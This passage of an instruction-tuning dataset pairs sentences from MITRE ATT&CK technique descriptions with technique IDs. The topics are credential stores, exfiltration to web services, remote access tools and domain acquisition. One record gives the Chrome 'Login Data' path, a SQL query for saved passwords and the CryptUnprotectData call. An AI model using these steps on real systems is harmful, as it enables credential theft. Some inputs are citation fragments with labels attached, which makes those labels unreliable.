context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>.", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018) ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004). ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access.", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain.", "output": "T1555.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. ### Response: T1555.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)", "output": "T1555.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware) ### Response: T1555.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way)", "output": "T1555.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) ### Response: T1555.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory.", "output": "T1555.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. ### Response: T1555.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", "output": "T1555.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain) ### Response: T1555.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for common password storage locations to obtain user credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for common password storage locations to obtain user credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once credentials are obtained, they can be used to perform lateral movement and access restricted information. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel.", "output": "T1567.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. ### Response: T1567.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code repositories are often accessible via an API (ex: https://api.github.com).", "output": "T1567.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code repositories are often accessible via an API (ex: https://api.github.com). ### Response: T1567.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.", "output": "T1567.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection. ### Response: T1567.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.", "output": "T1567.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ### Response: T1567.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel.", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information.", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information. ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data.", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec) ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**Note:**", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **Note:** ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.", "output": "T1567.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs. ### Response: T1567.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel.", "output": "T1567.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. ### Response: T1567.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.", "output": "T1567.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet. ### Response: T1567.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of cloud storage services include Dropbox and Google Docs.", "output": "T1567.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of cloud storage services include Dropbox and Google Docs. ### Response: T1567.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.", "output": "T1567.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ### Response: T1567.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel.", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation:", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Discord Intro to Webhooks)", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Discord Intro to Webhooks) ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection.", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation:", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Checkmarx Webhooks)", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Checkmarx Webhooks) ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Firewall rules may also already exist to permit traffic to these services.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Firewall rules may also already exist to permit traffic to these services. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks.", "output": "T1219", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. ### Response: T1219."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)", "output": "T1219", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) ### Response: T1219."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system.", "output": "T1219", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. ### Response: T1219."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.", "output": "T1219", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. ### Response: T1219."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.", "output": "T1219", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access. ### Response: T1219."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installation of many remote access software may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).", "output": "T1219", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installation of many remote access software may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). ### Response: T1219."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent infrastructure that can be used during targeting. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of infrastructure exists for hosting and orchestrating adversary operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of infrastructure exists for hosting and orchestrating adversary operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation:", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT29 Microsoft 365 2022)", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT29 Microsoft 365 2022) ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire domains that can be used during targeting.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire domains that can be used during targeting. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain names are the human readable names used to represent one or more IP addresses.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain names are the human readable names used to represent one or more IP addresses. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They can be purchased or, in some cases, acquired for free.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They can be purchased or, in some cases, acquired for free. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020)", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam)", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing) ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering) ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. ### Response: 